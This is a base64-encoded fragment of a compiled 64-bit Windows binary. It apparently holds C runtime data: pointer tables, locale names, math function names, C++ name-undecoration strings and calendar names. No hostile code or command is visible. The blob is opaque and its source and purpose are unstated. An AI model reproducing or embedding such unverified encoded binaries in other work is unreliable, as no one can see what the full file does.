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ibGUnAAAAAAAAAGB2Y2FsbCcAYHR5cGVvZicAAAAAAAAAAGBsb2NhbCBzdGF0aWMgZ3VhcmQnAAAAAGBzdHJpbmcnAAAAAAAAAABgdmJhc2UgZGVzdHJ1Y3RvcicAAAAAAABgdmVjdG9yIGRlbGV0aW5nIGRlc3RydWN0b3InAAAAAGBkZWZhdWx0IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAYHNjYWxhciBkZWxldGluZyBkZXN0cnVjdG9yJwAAAABgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAAAAAYHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAGB2aXJ0dWFsIGRpc3BsYWNlbWVudCBtYXAnAAAAAAAAYGVoIHZlY3RvciBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBlaCB2ZWN0b3IgZGVzdHJ1Y3RvciBpdGVyYXRvcicAYGVoIHZlY3RvciB2YmFzZSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAGBjb3B5IGNvbnN0cnVjdG9yIGNsb3N1cmUnAAAAAAAAYHVkdCByZXR1cm5pbmcnAGBFSABgUlRUSQAAAAAAAABgbG9jYWwgdmZ0YWJsZScAYGxvY2FsIHZmdGFibGUgY29uc3RydWN0b3IgY2xvc3VyZScAIG5ld1tdAAAAAAAAIGRlbGV0ZVtdAAAAAAAAAGBvbW5pIGNhbGxzaWcnAABgcGxhY2VtZW50IGRlbGV0ZSBjbG9zdXJlJwAAAAAAAGBwbGFjZW1lbnQgZGVsZXRlW10gY2xvc3VyZScAAAAAYG1hbmFnZWQgdmVjdG9yIGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAGBtYW5hZ2VkIHZlY3RvciBkZXN0cnVjdG9yIGl0ZXJhdG9yJwAAAABgZWggdmVjdG9yIGNvcHkgY29uc3RydWN0b3IgaXRlcmF0b3InAAAAYGVoIHZlY3RvciB2YmFzZSBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAYGR5bmFtaWMgaW5pdGlhbGl6ZXIgZm9yICcAAAAAAABgZHluYW1pYyBhdGV4aXQgZGVzdHJ1Y3RvciBmb3IgJwAAAAAAAAAAYHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGB2ZWN0b3IgdmJhc2UgY29weSBjb25zdHJ1Y3RvciBpdGVyYXRvcicAAAAAAAAAAGBtYW5hZ2VkIHZlY3RvciBjb3B5IGNvbnN0cnVjdG9yIGl0ZXJhdG9yJwAAAAAAAGBsb2NhbCBzdGF0aWMgdGhyZWFkIGd1YXJkJwAAAAAAIFR5cGUgRGVzY3JpcHRvcicAAAAAAAAAIEJhc2UgQ2xhc3MgRGVzY3JpcHRvciBhdCAoAAAAAAAgQmFzZSBDbGFzcyBBcnJheScAAAAAAAAgQ2xhc3MgSGllcmFyY2h5IERlc2NyaXB0b3InAAAAACBDb21wbGV0ZSBPYmplY3QgTG9jYXRvcicAAAAAAAAABoCAhoCBgAAAEAOGgIaCgBQFBUVFRYWFhQUAADAwgFCAiAAIACgnOFBXgAAHADcwMFBQiAAAACAogIiAgAAAAGBoYGhoaAgIB3hwcHdwcAgIAAAIAAgABwgAAABTdW4ATW9uAFR1ZQBXZWQAVGh1AEZyaQBTYXQAU3VuZGF5AABNb25kYXkAAFR1ZXNkYXkAV2VkbmVzZGF5AAAAAAAAAFRodXJzZGF5AAAAAEZyaWRheQAAAAAAAFNhdHVyZGF5AAAAAEphbgBGZWIATWFyAEFwcgBNYXkASnVuAEp1bABBdWcAU2VwAE9jdABOb3YARGVjAAAAAABKYW51YXJ5AEZlYnJ1YXJ5AAAAAE1hcmNoAAAAQXByaWwAAABKdW5lAAAAAEp1bHkAAAAAQXVndXN0AAAAAAAAU2VwdGVtYmVyAAAAAAAAAE9jdG9iZXIATm92ZW1iZXIAAAAAAAAAAERlY2VtYmVyAAAAAEFNAABQTQAAAAAAAE1NL2RkL3l5AAAAAAAAAABkZGRkLCBNTU1NIGRkLCB5eXl5AAAAAABISDptbTpzcwAAAAAAAAAAUwB1AG4AAABNAG8AbgAAAFQAdQBlAAAAVwBlAGQAAABUAGgAdQAAAEYAcgBpAAAAUwBhAHQAAABTAHUAbgBkAGEAeQAAAAAATQBvAG4AZABhAHkAAAAAAFQAdQBlAHMAZABhAHkAAABXAGUAZABuAGUAcwBkAGEAeQAAAAAAAABUAGgAdQByAHMAZABhAHkAAAAAAAAAAABGAHIAaQBkAGEAeQAAAAAAUwBhAHQAdQByAGQAYQB5AAAAAAAAAAAASgBhAG4AAABGAGUAYgAAAE0AYQByAAAAQQBwAHIAAABNAGEAeQAAAEoAdQBuAAAASgB1AGwAAABBAHUA